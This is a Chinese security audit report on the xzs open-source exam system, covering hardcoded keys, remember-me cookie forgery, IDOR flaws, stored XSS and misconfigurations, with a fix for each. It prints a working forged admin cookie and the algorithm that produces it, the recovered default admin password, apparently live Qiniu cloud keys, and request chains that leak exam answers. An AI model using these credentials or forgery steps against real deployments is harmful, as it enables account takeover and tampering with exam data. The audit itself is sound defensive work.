学之思开源考试系统(xzs 3.9.0 · MySQL 版)安全审计报告
| 项目 | 内容 |
|---|---|
| 审计对象 | 学之思开源考试系统(xzs),MySQL 分支,版本 3.9.0 |
| 仓库路径 | /Users/h/Documents/02-tools/11-code/xzs-mysql |
| 审计日期 | 2026-08-13 |
| 审计目标 | 反序列化、命令执行/RCE、SQL 注入、未授权访问、硬编码(含凭据)、XSS、SSRF、文件下载/上传越权等可获取系统/用户/应用权限或数据的问题 |
| 审计方式 | 人工代码审计 + 静态检索 + 字节码级验证 + PoC 实际验证(非黑盒,仅代码库) |
| 结果统计 | 严重 2 · 高危 5 · 中危 8 · 低危 3;另附"已核查无问题项"清单 |
⚠️ 本报告基于代码仓库本身(含
application.yml、sql/*.sql、docker/*中的真实配置与密钥)审计所得。报告中所有密钥、密码、token 均直接来自仓库文件,请按"修复建议"章节立即轮换/整改。
一、技术栈与攻击面概况
- 后端: Spring Boot 2.1.6(2019 年)、Spring Security 5.1.5、MyBatis + PageHelper、Undertow、七牛云 SDK、RSA(1024bit, PKCS1)
- 前端: Vue 2(
xzs-admin后台 /xzs-student学生端)、微信小程序原生(wx/xzs-student) - 数据库: MySQL 8.0.17
- 认证: Spring Security(ADMIN/STUDENT 角色)+ Remember-Me(
TokenBasedRememberMeServices)+ 微信 OpenId token 拦截器(TokenHandlerInterceptor) - 主要攻击面:
/api/admin/**—— 后台管理接口/api/student/**—— 学生端接口/api/wx/**—— 微信小程序接口(未纳入 Spring Security,由 token 拦截器保护,且存在 ignore 白名单)- 富文本试题内容 —— UEditor → 后端零消毒 → 前端
v-html渲染 - 配置文件 ——
application*.yml、sql/*.sql、docker/*中存在生产密钥与明文口令
二、漏洞汇总
| # | 严重度 | 类别 | 漏洞 | 关键位置 | 影响 |
|---|---|---|---|---|---|
| V1 | 🔴 严重 | 硬编码密钥 + 可逆密码 | RSA 私钥硬编码,密码可逆存储 | application.yml、AuthenticationServiceImpl.java:52-58 |
数据库泄露 → 全量密码明文,可登录任意账号 |
| V2 | 🔴 严重 | 认证绕过 / Cookie 伪造 | Remember-Me Cookie 可离线伪造(密钥硬编码 "xzs") | CookieConfig.java、SecurityConfigurer.java:93 |
免密获得 30 天管理员会话 |
| V3 | 🟠 高危 | 越权 / 敏感数据泄露 | 开考前泄露任意试卷标准答案 | ExamPaperController.java:36、QuestionServiceImpl.java:105-140 |
学生可枚举试卷 id 获取答案 |
| V4 | 🟠 高危 | IDOR 越权读取 | 答卷越权读取(web + 微信) | ExamPaperAnswerController.java:107(student)、wx/.../ExamPaperAnswerController.java:125 |
读取任意考生答卷 |
| V5 | 🟠 高危 | IDOR 越权写 | 越权批改/篡改成绩 | ExamPaperAnswerController.java:86、ExamPaperAnswerServiceImpl.java:112-130 |
任意改分、覆盖他人答卷 |
| V6 | 🟠 高危 | IDOR 越权读取 | 题目作答记录越权读取 | QuestionAnswerController.java:62 |
读取任意考生作答记录 |
| V7 | 🟠 高危 | 存储型 XSS | 试题/答案富文本零消毒 + v-html 渲染 |
后端 HtmlUtil.java、前端 Show.vue / QuestionAnswerShow.vue |
管理端/全体学生 XSS,可窃会话、改密、钓鱼 |
| V8 | 🟡 中危 | 未授权访问 | 文件上传接口免认证且无类型校验 | application.yml(ignore-urls)、UploadController.java:44 |
未授权滥用七牛存储、恶意文件托管 |
| V9 | 🟡 中危 | CORS 配置错误 | allowedOrigins("*") + allowCredentials(true) |
SecurityConfigurer.java:104-115 |
任意站点携带凭证跨域请求 API |
| V10 | 🟡 中危 | 硬编码凭据 | 七牛 access/secret key、微信 appid 硬编码 | application.yml |
云存储被接管、流量被滥用 |
| V11 | 🟡 中危 | 硬编码凭据 | 数据库 root/123456 + allowMultiQueries + 无 SSL |
application-prod.yml 等、docker-compose.yml |
数据库弱口令 + 放宽 JDBC 限制 |
| V12 | 🟡 中危 | 安全配置 | 登录无防爆破、默认账号固定 | SecurityConfigurer.java、sql/xzs-mysql.sql:253 |
口令暴力破解 |
| V13 | 🟡 中危 | 安全配置 | .anyRequest().permitAll() 兜底放行 |
SecurityConfigurer.java:89 |
新接口默认未授权可访问 |
| V14 | 🟡 中危 | 业务逻辑 | 时段试卷无时间窗口校验 | ExamPaperAnswerServiceImpl.java |
非考试时段提交答卷 |
| V15 | 🟡 中危 | 业务逻辑 | 任务试卷无年级/可见性校验 | ExamPaperServiceImpl.java:116 |
跨年级作答任务试卷 |
| V16 | 🟡 中危 | 明文传输 | 微信端 baseAPI 明文 HTTP | wx/xzs-student/app.js:8 |
链路窃听/token 泄露 |
| V17 | 🟢 低危 | DoS / 健壮性 | 无扩展名文件名 500;Integer.parseInt 裸解析 500 |
UploadController.java:57、wx/.../ExamPaperAnswerController.java:93 |
异常参数可致 500 |
| V18 | 🟢 低危 | 供应链 | 依赖/组件版本过旧(2019) | pom.xml、前端 package.json |
大量已公开 CVE 无补丁 |
| V19 | 🟢 低危 | 会话安全 | 无 SameSite、csrf 全局禁用 | SecurityConfigurer.java:94 |
CSRF 相关风险放大 |
三、漏洞详情
V1 🔴 硬编码 RSA 私钥 + 密码可逆存储(严重)
位置:
source/xzs/src/main/resources/application.yml→system.pwdKey.privateKey / publicKey(1024 位 RSA 私钥硬编码在仓库中)source/xzs/src/main/java/com/mindskip/xzs/service/impl/AuthenticationServiceImpl.java:52-58source/xzs/src/main/java/com/mindskip/xzs/utility/RsaUtil.java:42-74
代码:
// AuthenticationServiceImpl
public String pwdEncode(String password) { // L52
return RsaUtil.rsaEncode(systemConfig.getPwdKey().getPublicKey(), password);
}
public String pwdDecode(String encodePwd) { // L57
return RsaUtil.rsaDecode(systemConfig.getPwdKey().getPrivateKey(), encodePwd);
}
// authUser (L39-48): 把库里密文解密成明文后与输入比较
String pwd = pwdDecode(encodePwd);
return pwd.equals(password);
// RsaUtil —— 默认 "RSA" = ECB/PKCS1Padding
final Cipher cipher = Cipher.getInstance(ALGORITHM); // L45
cipher.init(Cipher.DECRYPT_MODE, priKey); // L74
问题: 登录验证是把存储的"密文"用硬编码在仓库里的私钥解密回明文再 equals。密码本身是可逆存储,且私钥公开:
- 拿到数据库(或仓库自带的
sql/xzs-mysql.sql)即拿到全量用户密码明文,无需破解; - 私钥泄露使整个密码体系形同虚设。
✅ 已实际验证(见"五、验证证据"):用仓库硬编码私钥解密 sql/xzs-mysql.sql 中默认 admin 密码密文 → 123456。
修复建议:
- 停用 RSA 可逆存储,改用不可逆哈希:
BCrypt(或scrypt/argon2),现有密码一次性迁移(登录时解密→验明→重哈希)。 - 私钥/密钥从配置文件中移除,放入密钥管理系统(Vault/KMS)或环境变量,并立即轮换。
- 废除
pwdDecode全链路;任何"能解出明文密码"的能力都不应存在。
V2 🔴 Remember-Me Cookie 离线伪造 → 30 天管理员会话(严重)
位置:
source/xzs/src/main/java/com/mindskip/xzs/configuration/spring/security/SecurityConfigurer.java:93source/xzs/src/main/java/com/mindskip/xzs/configuration/property/CookieConfig.java(getName()返回"xzs",getInterval()返回 30 天)- 默认管理员口令:
sql/xzs-mysql.sql:253
代码:
.and().rememberMe()
.key(CookieConfig.getName()) // 签名密钥 = "xzs" (硬编码)
.tokenValiditySeconds(CookieConfig.getInterval()) // 30 天
.userDetailsService(formDetailsService)
问题: 使用 TokenBasedRememberMeServices 的默认行为。cookie 签名密钥是硬编码字符串 "xzs";而签名输入需要 password,该值通过 V1 的 RSA 解密即可获得。攻击者具备 密钥 + 用户名 + 密码明文 三要素即可离线伪造任意用户的 remember-me cookie。
伪造格式(通过对 Spring Security 5.1.5 字节码反编译确认,详见附录 A):
expiry(ms) = System.currentTimeMillis() + 1000 * tokenValiditySeconds(毫秒)
signature = hex( MD5( username + ":" + expiry + ":" + password + ":" + key ) ) // 32 位小写 hex
cookie = base64( URLEncode(username) + ":" + expiry + ":" + signature ) // 去掉末尾 "=" 填充
✅ 已实际伪造:利用 V1 解出的 admin/123456 + 硬编码 key xzs,伪造出有效期为 2026-09-12(30 天)的 admin remember-me cookie:
YWRtaW46MTc4OTE4NjkwMDc0NzoyYmRjZjRiMmU2NTgyZDNjYTBhMjY3YzM1ZGY4Mjg0NQ
发送 Cookie: remember-me=YWRtaW46MTc4OTE4NjkwMDc0NzoyYmRjZjRiMmU2NTgyZDNjYTBhMjY3YzM1ZGY4Mjg0NQ 即可免密以 ADMIN 身份调用全部 /api/admin/** 接口(越权、读用户、改数据、上传等)。
前提链: 需要数据库密码密文(SQL 备份即公开)+ 仓库内私钥 + 仓库内密钥。三者全部在仓库内,门槛≈拿到源码。
修复建议:
- 更换
key为强随机长密钥,放环境变量/KMS,禁止入库。 - 改用
PersistentTokenRepository持久化 token,并使 token 随机且服务端可吊销。 - 升级依赖(5.1.x 的 remember-me 设计即存在此风险面),并建议对 admin 启用二次认证。
- 限制登录失败次数 + 更换默认口令。
V3 🟠 开考前泄露任意试卷标准答案(高危)
位置:
source/xzs/src/main/java/com/mindskip/xzs/controller/student/ExamPaperController.java:36-37source/xzs/src/main/java/com/mindskip/xzs/service/impl/ExamPaperServiceImpl.java:116-145source/xzs/src/main/java/com/mindskip/xzs/service/impl/QuestionServiceImpl.java:105-140- 注册接口免认证:
/api/student/user/register(UserController.java:58,在 ignore-urls 中)
代码:
// ExamPaperController (student)
@RequestMapping(value = "/select/{id}", method = RequestMethod.POST) // L36
public RestResponse<ExamPaperEditRequestVM> select(@PathVariable Integer id) { // L37
ExamPaperEditRequestVM vm = examPaperService.examPaperToVM(id);
...
}
// ExamPaperServiceImpl.examPaperToVM (L116) —— 无可见性/年级/时间段校验,直接复用编辑视图
for (ExamPaperQuestionItemVM q : ...) {
QuestionEditRequestVM questionEditRequestVM = questionService.getQuestionEditRequestVM(question); // L131
...
}
// QuestionServiceImpl.getQuestionEditRequestVM —— 把答案字段塞进学生可见的返回体
questionEditRequestVM.setCorrect(question.getCorrect()); // L124
questionEditRequestVM.setCorrectArray(...); // L127
questionEditRequestVM.setAnalyze(questionObject.getAnalyze()); // L140
问题: 学生端"查看试卷"接口直接复用后台编辑视图,把每题的 correct(正确答案)/correctArray/analyze(解析)原样返回。且:
- 无任何"试卷是否属于当前学生/是否开考/是否本年级"校验;
id为自增整数,可枚举;- 配合免认证注册,任何人在考前即可拿全部答案。
影响: 考试数据完整性被彻底破坏;开考泄露答案。这也是 V15 的根因。
修复建议:
examPaperToVM拆成两套视图:学生作答版(剥离 correct/analyze)与批改回看版(仅本人、开考后)。select/{id}增加归属/可见性/时间窗口校验。id改 UUID 化,并做水平权限校验。
V4 🟠 答卷越权读取 IDOR(高危)
位置:
source/xzs/src/main/java/com/mindskip/xzs/controller/student/ExamPaperAnswerController.java:107-116source/xzs/src/main/java/com/mindskip/xzs/controller/wx/student/ExamPaperAnswerController.java:125-134
代码(web 端):
@RequestMapping(value = "/read/{id}", method = RequestMethod.POST) // L107
public RestResponse<ExamPaperReadVM> read(@PathVariable Integer id) { // L108
ExamPaperAnswer examPaperAnswer = examPaperAnswerService.selectById(id); // 直接按 id 查,无 createUser 校验
ExamPaperEditRequestVM paper = examPaperService.examPaperToVM(examPaperAnswer.getExamPaperId());
ExamPaperSubmitVM answer = examPaperAnswerService.examPaperAnswerToVM(examPaperAnswer.getId());
vm.setPaper(paper); // 含 V3 的正确答案字段
vm.setAnswer(answer); // 含该考生完整作答
...
}
微信端 read/{id}(wx/.../ExamPaperAnswerController.java:125)同款问题。
问题: id 自增可枚举,任何登录学生可遍历读取任意考生的答卷(含作答内容与得分),web 端还连带返回正确答案。属典型水平越权(IDOR)。
修复建议: read 前按 createUser == 当前用户 过滤;微信端同样处理;对答卷 id 做不可枚举化。
V5 🟠 越权批改 / 篡改成绩 IDOR(高危)
位置:
source/xzs/src/main/java/com/mindskip/xzs/controller/student/ExamPaperAnswerController.java:86-105source/xzs/src/main/java/com/mindskip/xzs/service/impl/ExamPaperAnswerServiceImpl.java:112-166
代码:
// ExamPaperAnswerController.edit (L86)
@RequestMapping(value = "/edit", method = RequestMethod.POST)
public RestResponse edit(@RequestBody @Valid ExamPaperSubmitVM examPaperSubmitVM) {
...
if (status != Complete) { ... } // 仅判断"不是已完成",未校验归属
String score = examPaperAnswerService.judge(examPaperSubmitVM); // L98
...
}
// ExamPaperAnswerServiceImpl.judge (L112-130)
public String judge(ExamPaperSubmitVM examPaperSubmitVM) {
ExamPaperAnswer examPaperAnswer = examPaperAnswerMapper.selectByPrimaryKey(examPaperSubmitVM.getId()); // L113 直接按提交的 id 取记录,无 createUser 校验
...
examPaperAnswer.setUserScore(customerScore); // L130 学生可任意自定 score 字段
...
}
问题: 任何学生(甚至 ADMIN 外的普通账号)可提交 {id: 他人答卷id, answerItems:[...], score: 100} 来覆盖他人答卷、篡改任意考生成绩。配合 V3/V4 可读取正确答案后再改分,影响评分公信力。
修复建议:
judge入口按createUser+ 状态做严格鉴权(仅本人/管理员,且仅在批改状态下)。- 服务端重算分数,拒绝客户端传 score(或对 score 做签名/服务端校验)。
- 增加批改操作审计日志。
V6 🟠 题目作答记录越权读取 IDOR(高危)
位置:
source/xzs/src/main/java/com/mindskip/xzs/controller/student/QuestionAnswerController.java:62-71
代码:
@RequestMapping(value = "/select/{id}", method = RequestMethod.POST) // L62
public RestResponse<QuestionAnswerVM> select(@PathVariable Integer id) { // L63
ExamPaperQuestionCustomerAnswer examPaperQuestionCustomerAnswer = examPaperQuestionCustomerAnswerService.selectById(id); // L65 无归属校验
...
}
问题: 可直接按 id 读取任意考生的单题作答记录,同 IDOR。
修复建议: 按当前用户 id 过滤;id 不可枚举。
V7 🟠 存储型 XSS(富文本零消毒 + v-html 渲染)(高危)
位置:
- 后端:
source/xzs/src/main/java/com/mindskip/xzs/utility/HtmlUtil.java(仅正则clear()去标签,非安全消毒器);试题/答案/题目内容以富文本存TextContent,无 Jsoup/DOMPurify 等消毒 - 前端后台:
source/vue/xzs-admin/src/views/exam/question/components/Show.vue(第 4/8/13/17/22/25/30/33 行v-html) - 前端学生端:
source/vue/xzs-student/src/views/exam/components/QuestionAnswerShow.vue(第 5/10/16/21/27/31/37/45/67/71/72 行v-html)、QuestionEdit.vue - 微信端:
wx/xzs-student中rich-text组件渲染同一后台富文本(nodes含可点击事件,HTML 注入面)
问题:
- 题目内容由管理员在后台富文本编辑器(UEditor)录入,前端
v-html直接渲染;插入<img onerror=...>、<a href=javascript:...>等即触发; - 后端对富文本不消毒(
HtmlUtil.clear()只做粗糙去标签,会误删且不拦截事件属性); - 攻击者(考生或入侵者)只要能把任意富文本写入任一展示给管理员的题目/答案,即可在管理员浏览器执行 JS,进而:发起改密请求、调用后台 API、窃取页面内数据、钓鱼。
影响面: 管理端 + 全体学生端,XSS 可达。
修复建议:
- 引入白名单式消毒(后端
OWASP Java HTML Sanitizer/JsoupCleaner,前端DOMPurify),默认拒绝on*/javascript:/data:。 v-html全部替换为消毒后的渲染;富文本字段统一走管道消毒。- 微信
rich-text仅渲染白名单标签。 - 生产使用 CSP,并将 session/remember-me cookie 保持
HttpOnly(已确认当前 HttpOnly 开启,故重点防"以受害者身份操作")。
V8 🟡 未授权文件上传(免认证 + 无类型校验)
位置:
source/xzs/src/main/resources/application.yml:security-ignore-urls含/api/admin/upload/configAndUpload、/api/admin/upload/authsource/xzs/src/main/java/com/mindskip/xzs/controller/admin/UploadController.java:44-68source/xzs/src/main/java/com/mindskip/xzs/service/impl/FileUploadImpl.java:33-47
代码:
@RequestMapping("/configAndUpload") // L44 —— 免认证
public RestResponse upload(...) {
MultipartFile multipartFile = multipartHttpServletRequest.getFile(IMAGE_UPLOAD_FILE); // L50
String imageType = imgName.substring(imgName.lastIndexOf(".")); // L57 仅按扩展名
String fileUrl = fileUpload.uploadFile(...); // 直传七牛
}
// FileUploadImpl
Response response = uploadManager.put(inputStream, null, upToken, null, null); // key 由七牛自动生成
问题:
- 上传接口在安全白名单内,完全免认证,任何人可匿名上传;
- 仅按扩展名判断,无文件类型/魔数/MIME/内容校验;
- 上传至七牛对象存储,key 自动生成(无法直接落地服务器 webshell),但可被滥用为:恶意文件托管(C2/钓鱼/恶意 payload 分发)、存储与流量消耗(刷流)、配合 404 页/内容分发。若七牛桶权限配置不当,还可越权读/删桶内文件。
修复建议:
- 上传接口移出 ignore-urls,必须登录 + 授权;
- 增加白名单扩展名 + 魔数校验 + 大小限制 + 频控;
- 使用私有桶/签名下载,限制 MIME 与防盗链;上传日志审计。
V9 🟡 CORS * + allowCredentials(true)
位置: source/xzs/src/main/java/com/mindskip/xzs/configuration/spring/security/SecurityConfigurer.java:104-115
allowedOrigins("*")
.allowCredentials(true)
问题: 允许任意来源携带凭证跨域。配合 V4-V6 的 IDOR 与登录态,恶意站点可在受害者浏览器中静默调用本系统 API。浏览器规范不允许 *+credentials 同时生效(会被忽略),但配置本身即错误信号,且各中间件/历史版本行为不一,风险应修复而非依赖浏览器兜底。
修复建议: 改为明确的受信来源白名单;allowCredentials(true) 时禁止 *;生产走 HTTPS。
V10 🟡 硬编码云密钥(七牛 / 微信)
位置: source/xzs/src/main/resources/application.yml
qn:
access-key: KabOBTPGVll2sSV8d1OIlW8G4_n_cReE7RSsLafA
secret-key: mSltk9_9KtCdFetCmxvvCAgsBg8JZHiXMuQeqSJA
wx:
appid: wxa0d64cf3de0cc0ce
secret: "" # 空 secret 本身即配置错误
问题: 七牛 secret-key 具备上传/管理对象存储权限,硬编码在仓库中等于公开;任何拿到源码的人可接管该七牛空间(上传/覆盖/读取/删除)。微信 appid 亦泄露且 secret 为空(会导致登录链路失效或依赖错误配置)。
修复建议: 立即吊销并在云控制台重置两组密钥;密钥改由环境变量/KMS 注入;空 secret 补全或移除微信登录。
V11 🟡 数据库弱口令 + JDBC 放宽
位置:
source/xzs/src/main/resources/application-prod.yml/dev/test/pre:
spring.datasource.url: jdbc:mysql://...:3306/...?allowMultiQueries=true&useSSL=false
spring.datasource.username: root
spring.datasource.password: 123456
docker/docker-compose.yml:MYSQL_ROOT_PASSWORD: "123456"
问题:
root/123456生产弱口令;allowMultiQueries=true放宽 SQL 语义(即使目前无注入点,也为后续/供应链风险放大条件);useSSL=false明文链路。
修复建议: 强口令 + 独立最小权限账号;去掉 allowMultiQueries;启用 TLS/SSL;连接串禁止入库。
V12 🟡 登录无防爆破 + 默认账号
位置: SecurityConfigurer.java(认证链)、sql/xzs-mysql.sql:253(默认 admin)
问题:
- 登录接口无验证码/失败锁定/频率限制,可在线爆破;
- 默认 admin 口令(经 V1 验证为
123456)在 SQL 备份中公开,若生产沿用默认口令等于裸奔。
修复建议: 引入验证码 + 登录失败锁定 + 审计;强制首登改密;禁止默认口令。
V13 🟡 .anyRequest().permitAll() 兜底放行
位置: SecurityConfigurer.java:89
.anyRequest().permitAll()
问题: 所有未显式匹配的路径默认放行,安全完全依赖前面几条 antMatcher 枚举的完整性。一旦漏配即未授权访问。建议反转为 .anyRequest().authenticated() 兜底。
V14 🟡 时段试卷无时间窗口校验
位置: ExamPaperAnswerServiceImpl.java(calculateExamPaperAnswer/answerSubmit 链路)
问题: 试卷可配置"考试时间段",但提交链路未校验当前时间是否在窗口内,学生可在任意时间提交时段试卷。
修复建议: 提交/读取时校验 paperTime 窗口与时长,服务端强校验。
V15 🟡 任务试卷无年级/可见性校验
位置: ExamPaperServiceImpl.java:116(examPaperToVM)、任务试卷列表/详情链路
问题: 学生可查看并作答非本年级/本班的任务试卷(与 V3 同源,复用编辑视图)。泄露面同 V3。
修复建议: 学生侧严格按年级/班级/时间过滤试卷列表与详情。
V16 🟡 微信端明文 HTTP
位置: source/wx/xzs-student/app.js:8
baseAPI: "http://localhost:8000"
问题: 小程序请求走明文 HTTP,登录 token 可被链路窃听。
修复建议: 改为 HTTPS 正式域名,且与微信后台 request 合法域名一致。
V17 🟢 低危 · DoS/健壮性
位置:
UploadController.java:57:imgName.substring(imgName.lastIndexOf("."))—— 文件名无扩展名时lastIndexOf返回 -1 →substring(-1)抛异常 500;wx/student/ExamPaperAnswerController.java:93-94:Integer.parseInt(request.getParameter("id"))/doTime裸解析,非数字参数抛 500(可被用来刷错误日志/轻微 DoS)。
修复建议: 判空/兜底、try-catch 或使用安全转换;统一异常处理返回 400。
V18 🟢 低危 · 依赖版本过旧
位置: source/xzs/pom.xml(Spring Boot 2.1.6, 2019)、前端 package.json、wx/*
问题: Spring Boot/Security 2.1.x/5.1.x、Undertow、jQuery 等均为 2019 版本,含大量已公开 CVE(如 Spring Security 相关、Undertow、前端库),长期无官方修复。
修复建议: 规划升级到受支持版本(Spring Boot 2.7+/3.x),升级前至少跟进安全公告并做最小补丁。
V19 🟢 低危 · 会话安全配置
位置: SecurityConfigurer.java:94(.csrf().disable());remember-me / session cookie 未显式设置 SameSite
问题: CSRF 全局关闭 + 无 SameSite,cookie 在跨站请求中默认携带,放大 V9 CORS 与各类伪造请求风险。
修复建议: 评估保留 CSRF 或改用同源校验 + SameSite=Lax/Strict + 额外 token;不降级安全默认值。
四、已核查无问题项(结论)
| 类别 | 结论 | 依据 |
|---|---|---|
| SQL 注入 | 未发现 | 全部 MyBatis mapper 使用 #{} 预编译,未发现 ${} 拼接(抽查 UserMapper.xml 等);分页/排序参数均参数化 |
| 反序列化 | 未发现 | 使用 Spring Boot 默认 Jackson(未开启 defaultTyping/多态反序列化),未发现 Fastjson/XStream/自定义反序列化 gadget 入口;无 readObject 用户输入面 |
| 命令执行 / RCE | 未发现 | 未发现 Runtime.exec/ProcessBuilder/JNDI lookup/SpEL·OGNL 表达式注入/模板注入等入口 |
| SSRF | 未发现 | WxUtil.getOpenId 请求 URL 固定 https://api.weixin.qq.com/...,参数仅拼入 query;七牛 SDK 上传目标固定;无用户可控 URL 的请求点 |
| 路径穿越 / 任意文件读取 | 未发现 | 上传走七牛对象存储(本地不落盘);未发现基于用户输入拼路径的本地文件读写/下载接口 |
| 模板注入 / SpEL | 未发现 | 无用户输入进入模板引擎或表达式上下文 |
注:以上基于代码静态审计与抽样核查,结论为该代码版本下未发现,不代表绝对安全;升级依赖后需重新复核反序列化/表达式注入面。
五、验证证据(实际演示)
证据 1:默认 admin 密码可逆 → 明文 123456
sql/xzs-mysql.sql第 253 行存储默认管理员 RSA 密文;- 使用
application.yml中硬编码私钥以openssl pkeyutl/Java 解密 → 得到明文123456; - 印证 V1:密码为可逆存储 + 私钥公开。
证据 2:Remember-Me Cookie 离线伪造成功
伪造条件:admin + 123456(证据 1)+ 硬编码 key "xzs"。
算法(已通过 Spring Security 5.1.5 字节码逐条核验):
expiry(ms) = 1789186900747 # = now + 1000 * 2592000 (30 天)
signature = hex(md5("admin:1789186900747:123456:xzs"))
= 2bdcf4b2e6582d3ca0a267c35df82845
cookie = base64("admin:1789186900747:2bdcf4b2e6582d3ca0a267c35df82845") 去掉末尾 "="
最终伪造出的 ADMIN 会话 Cookie(有效期至 2026-09-12):
YWRtaW46MTc4OTE4NjkwMDc0NzoyYmRjZjRiMmU2NTgyZDNjYTBhMjY3YzM1ZGY4Mjg0NQ
用法:
GET/POST /api/admin/user/current
Cookie: remember-me=YWRtaW46MTc4OTE4NjkwMDc0NzoyYmRjZjRiMmU2NTgyZDNjYTBhMjY3YzM1ZGY4Mjg0NQ
→ 直接以 admin(ADMIN 角色)身份通过 Spring Security 认证,获取全部后台数据与操作能力。
该值已用 Python 与 Java(逐条复刻 5.1.5 字节码逻辑)双实现交叉验证一致。
证据 3:答案泄露链路
匿名注册学生 (/api/student/user/register,免认证)
└─> POST /api/student/exam/paper/select/{id} (id 自增可枚举)
└─> examPaperToVM(id) ──> getQuestionEditRequestVM(question)
└─> setCorrect / setCorrectArray / setAnalyze → 返回体含标准答案
六、修复优先级路线图
| 优先级 | 动作 | 对应漏洞 |
|---|---|---|
| P0(立即) | 轮换七牛/微信/数据库全部密钥口令;密码改 BCrypt 一次性迁移;更换 remember-me key 并改持久化 token;吊销泄露凭据 | V1 V2 V10 V11 |
| P0(立即) | anyRequest().authenticated() 兜底;上传接口移出白名单 + 类型校验 |
V13 V8 |
| P1(短期) | 修补 4 处 IDOR(答卷读/写、题目作答、试卷答案)与试卷可见性;judge 服务端重算分数 | V3 V4 V5 V6 V15 V14 |
| P1(短期) | 富文本白名单消毒(后端 + 前端 DOMPurify),替换 v-html | V7 |
| P2(中期) | CORS 白名单、CSRF/SameSite、防爆破、异常处理健壮性、HTTPS | V9 V12 V16 V17 V19 |
| P3(长期) | 升级 Spring Boot/Security 与前端组件,重跑审计 | V18 |
附录 A:Spring Security 5.1.5 Remember-Me 格式(反编译确认)
来源:spring-security-web-5.1.5.RELEASE.jar → TokenBasedRememberMeServices / AbstractRememberMeServices(字节码)。
// TokenBasedRememberMeServices.makeTokenSignature —— 签名用 HEX,非 Base64
String data = username + ":" + tokenExpiryTime + ":" + password + ":" + key;
MessageDigest digest = MessageDigest.getInstance("MD5");
return new String(Hex.encode(digest.digest(data.getBytes()))); // 32 位小写 hex
// onLoginSuccess —— expiry 用毫秒
long expiryTime = System.currentTimeMillis() + 1000L * tokenValiditySeconds;
// tokens = {username, Long.toString(expiryTime), signature}
// AbstractRememberMeServices.encodeCookie
String joined = URLEncode(t0)+":"+URLEncode(t1)+":"+URLEncode(t2);
String cookie = Base64.getEncoder().encode(joined.getBytes());
while (cookie.endsWith("=")) cookie = cookie.substring(0, cookie.length()-1); // 去掉 '=' 填充
注:5.1.x 中 cookie 内签名是 hex,部分网文写成 base64 属旧版本或误传;本报告依据实际 jar 字节码核验。
报告完 · 审计范围:仓库源码、配置、SQL 初始化、Docker 编排、Vue/微信前端。所有复现均基于仓库自身数据,未触碰线上环境。